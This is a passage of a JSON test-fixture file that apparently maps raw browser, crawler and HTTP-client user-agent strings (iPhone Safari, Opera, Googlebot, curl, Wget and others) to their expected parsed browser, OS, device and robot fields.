"iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "8", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "8.0", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/4.2.2.38484 Mobile/12B435 Safari/9537.53" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.2.43972 Mobile/12B440 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) OPiOS/10.0.0.89592 Mobile/12B466 Safari/9537.53" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".3", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".3", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12D508 [FBAN/FBIOS;FBAV/27.0.0.10.12;FBBV/8291884;FBDV/iPhone6,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/8.2;FBSS/2; FBCR/Verizon;FBID/phone;FBLC/en_US;FBOP/5]" : { "browser" : "safari", "browser_beta" : ".1", "browser_major" : 6, "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "8", "os_minor" : ".2", "os_string" : "iOS", "os_version" : "8.2", "robot" : 0 }, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16; Ipad" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "US", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : "", "engine_major" : "528", "engine_minor" : ".18", "engine_string" : "WebKit", "engine_version" : "528.18", "language" : "EN", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "3", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "3.0", "robot" : 0 }, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "US", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "532", "engine_minor" : ".9", "engine_string" : "WebKit", "engine_version" : "532.9", "language" : "EN", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "4", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (iPod touch; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipod", "device_string" : "iPod", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "ipod", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPod; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B500 Safari/8536.25" : { "browser" : "safari", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipod", "device_string" : "iPod", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "match" : [ "device", "ios", "ipod", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".6", "os_major" : "6", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "6.1", "robot" : 0 }, "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview Analytics) Chrome/27.0.1453 Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" : { "browser" : "chrome", "browser_major" : "2", "browser_minor" : ".1", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "chrome", "webkit", "robot", "google" ], "robot" : "google", "robot_name" : "Googlebot" }, "Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30" : { "beta" : ".742.60", "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "major" : "12", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "minor" : ".0", "os" : "linux", "os_string" : "Linux", "public_beta" : ".742.60", "public_major" : "12", "public_minor" : ".0", "public_version" : 12, "version" : 12 }, "Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; webmaster@moreover.com)" : { "browser" : "netscape", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Netscape", "match" : [ "netscape", "nav4up", "nav45up", "nav6", "nav6up", "robot" ], "robot" : "unknown", "robot_string" : "Mozilla/5.0 Moreover" }, "NING/1.0" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "NerdyBot" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "NerdyBot" }, "Nokia6120c/3.83; Profile/MIDP-2.0 Configuration/CLDC-1.1" : { "browser_beta" : ";", "browser_major" : "3", "browser_minor" : ".83", "device" : "wap", "device_string" : "Nokia6120c", "match" : [ "device", "wap", "mobile" ], "robot" : 0 }, "OMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100827 Red Hat/3.6.9-2.el6 Firefox/3.6.9" : { "beta" : ".9", "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2.9", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "major" : "3", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "minor" : ".6", "os" : "linux", "os_string" : "Linux", "public_beta" : ".9", "public_major" : "3", "public_minor" : ".6", "public_version" : 3.6, "version" : 3.6 }, "Opera/7.54 (Windows NT 5.1; U) [pl]" : { "browser" : "opera", "browser_major" : "7", "browser_minor" : ".54", "browser_string" : "Opera", "language" : "PL", "match" : [ "windows", "winnt", "win32", "winxp", "opera", "opera7" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Opera/7.60 (Windows NT 5.2; U) [en] (IBM EVV/3.0/EAK01AG9/LE)" : { "browser" : "opera", "browser_major" : "7", "browser_minor" : ".60", "browser_string" : "Opera", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win2k3", "opera", "opera7" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Opera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010" : { "browser" : "opera", "browser_major" : "11", "browser_minor" : ".1010", "browser_string" : "Opera", "device" : "android", "device_string" : "Android", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "engine_version" : "2.8", "language" : "EN", "match" : [ "device", "android", "mobile", "opera", "presto" ], "os" : "android", "os_string" : "Android", "robot" : 0 }, "Opera/9.80 (Android; Opera Mini/7.5.54678/28.2555; U; ru) Presto/2.10.289 Version/12.02" : { "browser" : "opera", "browser_major" : "12", "browser_minor" : ".02", "browser_string" : "Opera", "device" : "android", "device_string" : "Android", "engine" : "presto", "engine_beta" : ".289", "engine_major" : "2", "engine_minor" : ".10", "engine_string" : "Presto", "engine_version" : "2.10", "language" : "RU", "match" : [ "device", "android", "mobile", "opera", "presto" ], "os" : "android", "os_string" : "Android", "robot" : 0 }, "Opera/9.80 (Android; Opera Mini/7.6.40234/35.7827; U; en) Presto/2.8.119 Version/11.10" : { "browser" : "opera", "browser_major" : "11", "browser_minor" : ".10", "browser_string" : "Opera", "device" : "android", "device_string" : "Android", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "engine_version" : "2.8", "language" : "EN", "match" : [ "device", "android", "mobile", "opera", "presto" ], "os" : "android", "os_string" : "Android", "robot" : 0 }, "Opera/9.80 (J2ME/MIDP; Opera Mini/7.1.23511/28.2555; U; ru) Presto/2.10.181 Version/12.00" : { "browser" : "opera", "browser_major" : "12", "browser_minor" : ".00", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".181", "engine_major" : "2", "engine_minor" : ".10", "engine_string" : "Presto", "engine_version" : "2.10", "language" : "RU", "match" : [ "mobile", "opera", "presto" ], "robot" : 0 }, "Opera/9.80 (MAUI Runtime; Opera Mini/4.4.31998/35.7827; U; en) Presto/2.8.119 Version/11.10" : { "browser" : "opera", "browser_major" : "11", "browser_minor" : ".10", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "engine_version" : "2.8", "language" : "EN", "match" : [ "mobile", "opera", "presto" ], "robot" : 0 }, "Opera/9.80 (Macintosh; Intel Mac OS X 10.10.2; U; en) Presto/2.10.289 Version/12.02" : { "browser" : "opera", "browser_major" : "12", "browser_minor" : ".02", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".289", "engine_major" : "2", "engine_minor" : ".10", "engine_string" : "Presto", "engine_version" : "2.10", "language" : "EN", "match" : [ "mac", "macosx", "opera", "presto" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52" : { "browser" : "opera", "browser_major" : "11", "browser_minor" : ".52", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".168", "engine_major" : "2", "engine_minor" : ".9", "engine_string" : "Presto", "engine_version" : "2.9", "language" : "FR", "match" : [ "mac", "macosx", "opera", "presto" ], "os" : "macosx", "os_beta" : ".8", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "robot" : 0 }, "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10" : { "browser" : "opera", "browser_major" : "11", "browser_minor" : ".10", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".131", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "engine_version" : "2.8", "language" : "RU", "match" : [ "windows", "winnt", "win32", "win7", "opera", "presto" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" : { "browser" : "opera", "browser_major" : "12", "browser_minor" : ".17", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".388", "engine_major" : "2", "engine_minor" : ".12", "engine_string" : "Presto", "engine_version" : "2.12", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "opera", "presto" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Opera/9.80 (iOS; Opera Mini/7.0.73345/28.2555; U; ru) Presto/2.10.229 Version/11.62" : { "browser" : "opera", "browser_major" : "11", "browser_minor" : ".62", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".229", "engine_major" : "2", "engine_minor" : ".10", "engine_string" : "Presto", "engine_version" : "2.10", "language" : "RU", "match" : [ "mobile", "opera", "presto" ], "robot" : 0 }, "OrgProbe/0.9.4 (+http://www.blocked.org.uk)" : { "browser_beta" : ".4", "browser_major" : 0, "browser_minor" : ".9", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : ".4", "robot_major" : "0", "robot_minor" : ".9", "robot_string" : "OrgProbe", "robot_version" : "0.9" }, "PHP/5.2.17p1" : { "browser_beta" : ".17p1", "browser_major" : "5", "browser_minor" : ".2", "match" : [], "robot" : 0 }, "PHPCrawl" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "PHPCrawl" }, "Pandora/1.5.16 Android/2.3.4 cdma_droid2we" : { "browser_beta" : ".16", "browser_major" : "1", "browser_minor" : ".5", "device" : "android", "device_string" : "Android", "match" : [ "device", "android", "mobile" ], "os" : "android", "os_string" : "Android", "robot" : 0 }, "Photon/1.0" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "PycURL/7.38.0-DEV" : { "browser_beta" : ".0-dev", "browser_major" : "7", "browser_minor" : ".38", "match" : [], "robot" : 0 }, "Python-urllib/2.7" : { "browser_major" : "2", "browser_minor" : ".7", "match" : [], "robot" : 0 }, "Robot/1.0" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "Robot", "robot_version" : "1.0" }, "Ruby" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)" : { "browser_major" : "2", "browser_minor" : ".1", "device" : "wap", "device_string" : "SAMSUNG-SGH-E250", "match" : [ "device", "wap", "mobile", "robot", "googlemobile", "google" ], "robot" : "googlemobile", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_name" : "Googlebot Mobile", "robot_version" : "2.1" }, "SafeSearch microdata crawler (https://safesearch.avira.com, safesearch-abuse@avira.com)" : { "major" : 0, "match" : [ "robot" ], "minor" : ".0", "public_major" : 0, "public_minor" : ".0", "public_version" : 0, "robot" : "unknown", "robot_string" : "SafeSearch microdata crawler", "version" : 0 }, "Screaming Frog SEO Spider/3.1" : { "browser_major" : "3", "browser_minor" : ".1", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".1", "robot_name" : "Screaming Frog SEO Spider", "robot_version" : "3.1" }, "ScreenerBot Crawler Beta 2.0 (+http://www.ScreenerBot.com)" : { "major" : 0, "match" : [ "robot" ], "minor" : ".0", "public_major" : 0, "public_minor" : ".0", "public_version" : 0, "robot" : "unknown", "robot_string" : "ScreenerBot Crawler Beta 2.0", "version" : 0 }, "ShowyouBot (http://showyou.com/crawler)" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot", "showyou" ], "robot" : "showyou", "robot_id" : "showyou", "robot_name" : "Showyou" }, "StatsInfo" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "SuperPagesUrlVerifyBot/1.0" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "SuperPagesUrlVerifyBot", "robot_version" : "1.0" }, "Twitterbot/1.0" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot", "twitter" ], "robot" : "twitter", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "Twitter", "robot_version" : "1.0" }, "USATODAY/2.1.2.7 CFNetwork/548.1.4 Darwin/11.0.0" : { "browser_beta" : ".2.7", "browser_major" : "2", "browser_minor" : ".1", "match" : [], "robot" : 0 }, "UnCSS" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "UniversalFeedParser/5.1.3 +https://code.google.com/p/feedparser/" : { "browser_beta" : ".3", "browser_major" : "5", "browser_minor" : ".1", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : ".3", "robot_string" : "UniversalFeedParser", "robot_version" : "5.1" }, "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5" : { "browser" : "firefox", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".1", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko", "robot" ], "os" : "windows", "os_string" : "WinXP", "robot" : "unknown", "robot_beta" : "", "robot_major" : "5", "robot_minor" : ".0", "robot_name" : "User-Agent: Mozilla", "robot_version" : "5.0" }, "Wada.vn Vietnamese Search" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Wada.vn Vietnamese Search" }, "WebTarantula.com Crawler" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "WebTarantula.com Crawler" }, "Wget/1.11.4 Red Hat modified" : { "browser_beta" : ".4", "browser_major" : "1", "browser_minor" : ".11", "match" : [ "wget", "robot" ], "robot" : "wget", "robot_name" : "Wget" }, "WikiDo/1.1 (http://wikido.com; crawler@wikido.com)" : { "browser_major" : "1", "browser_minor" : ".1", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "crawler@wikido.com" }, "Windows-RSS-Platform/2.0 (MSIE 8.0; Windows NT 5.1)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "WordPress/4.0.1; http://www.example.com/" : { "browser_beta" : ".1;", "browser_major" : "4", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "Wotbox/2.01 (+http://www.wotbox.com/bot/)" : { "browser_major" : "2", "browser_minor" : ".01", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".01", "robot_name" : "Wotbox", "robot_version" : "2.01" }, "Xenu Link Sleuth/1.3.8" : { "browser_beta" : ".8", "browser_major" : "1", "browser_minor" : ".3", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : ".8", "robot_major" : "1", "robot_minor" : ".3", "robot_name" : "Xenu Link Sleuth", "robot_version" : "1.3" }, "YahooCacheSystem; YahooWebServiceClient" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot", "yahoo" ], "robot" : "yahoo", "robot_name" : "Yahoo" }, "YisouSpider" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "YisouSpider" }, "ZDM/4.0; Windows Mobile 8.0" : { "browser_beta" : ";", "browser_major" : "4", "browser_minor" : ".0", "match" : [ "mobile", "windows" ], "robot" : 0 }, "betaBot" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "betaBot" }, "buy dredger for sale ( http://www.dredger.biz )" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "com.apple.WebKit.WebContent/10600.2.5 CFNetwork/720.1.1 Darwin/14.0.0 (x86_64)" : { "browser_beta" : ".5", "browser_major" : "10600", "browser_minor" : ".2", "match" : [], "robot" : 0 }, "curl/7.15.5 (i386-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5" : { "browser" : "curl", "browser_beta" : ".5", "browser_major" : "7", "browser_minor" : ".15", "browser_string" : "curl", "match" : [ "unix", "linux", "curl", "robot", "lib" ], "os" : "linux", "os_string" : "Linux", "robot" : "curl", "robot_beta" : ".5", "robot_major" : "7", "robot_minor" : ".15", "robot_name" : "curl", "robot_version" : "7.15" }, "curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5" : { "browser" : "curl", "browser_beta" : ".5", "browser_major" : "7", "browser_minor" : ".15", "browser_string" : "curl", "match" : [ "unix", "linux", "curl", "robot", "lib" ], "os" : "linux", "os_string" : "Linux", "robot" : "curl", "robot_beta" : ".5", "robot_major" : "7", "robot_minor" : ".15", "robot_name" : "curl", "robot_version" : "7.15" }, "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.16.2.3 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2" : { "browser" : "curl", "browser_beta" : ".7", "browser_major" : "7", "browser_minor" : ".19", "browser_string" : "curl", "match" : [ "unix", "linux", "curl", "robot", "lib" ], "os" : "linux", "os_string" : "Linux", "robot" : "curl", "robot_beta" : ".7", "robot_major" : "7", "robot_minor" : ".19", "robot_name" : "curl", "robot_version" : "7.19" }, "curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.15 libssh2/1.2.6" : { "browser" : "curl", "browser_beta" : ".0", "browser_major" : "7", "browser_minor" : ".21", "browser_string" : "curl", "match" : [ "unix", "linux", "curl", "robot", "lib" ], "os" : "linux", "os_string" : "Linux", "robot" : "curl", "robot_beta" : ".0", "robot_major" : "7", "robot_minor" : ".21", "robot_name" : "curl", "robot_version" : "7.21" }, "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" : { "browser_major" : "1", "browser_minor" : ".1", "match" : [ "robot", "facebook" ], "robot" : "facebook", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".1", "robot_name" : "Facebook", "robot_version" : "1.1" }, "finbot" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "finbot" }, "fliptop" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "groupon-qa-spiderman" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "groupon-qa-spiderman" }, "http://www.yellowpages.com/about/legal/crawl" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "crawl" }, "ia_archiver" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "ia_archiver" }, "icevikatam/1.0" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "izsearch.com" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "izsearch.com" }, "libwww-perl/6.08" : { "browser_major" : "6", "browser_minor" : ".08", "match" : [ "robot", "lwp", "lib" ], "robot" : "lwp", "robot_beta" : "", "robot_major" : "6", "robot_minor" : ".08", "robot_name" : "LWP::UserAgent", "robot_version" : "6.08" }, "ltx71 - (http://ltx71.com/)" : { "browser_beta" : "com/)", "browser_major" : "71", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "marine dredger for sale ( http://www.dredger.biz )" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "masscan", "robot_version" : "1.0" }, "motoxt894" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "msnbot/2.0b (+http://search.msn.com/msnbot.htm)" : { "browser_beta" : "b", "browser_major" : "2", "browser_minor" : ".0", "match" : [ "robot", "msn" ], "robot" : "msn", "robot_beta" : "b", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "MSN", "robot_version" : "2.0" }, "my sypder/Nutch-1.9" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "nutch", "robot" ], "robot" : "nutch", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".9", "robot_name" : "Apache Nutch", "robot_version" : "1.9" }, "netscan.gtisc.gatech.edu" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "netscan.gtisc.gatech.edu" }, "panscient.com" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "pilican/Nutch-1.9" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "nutch", "robot" ], "robot" : "nutch", "robot_beta" : 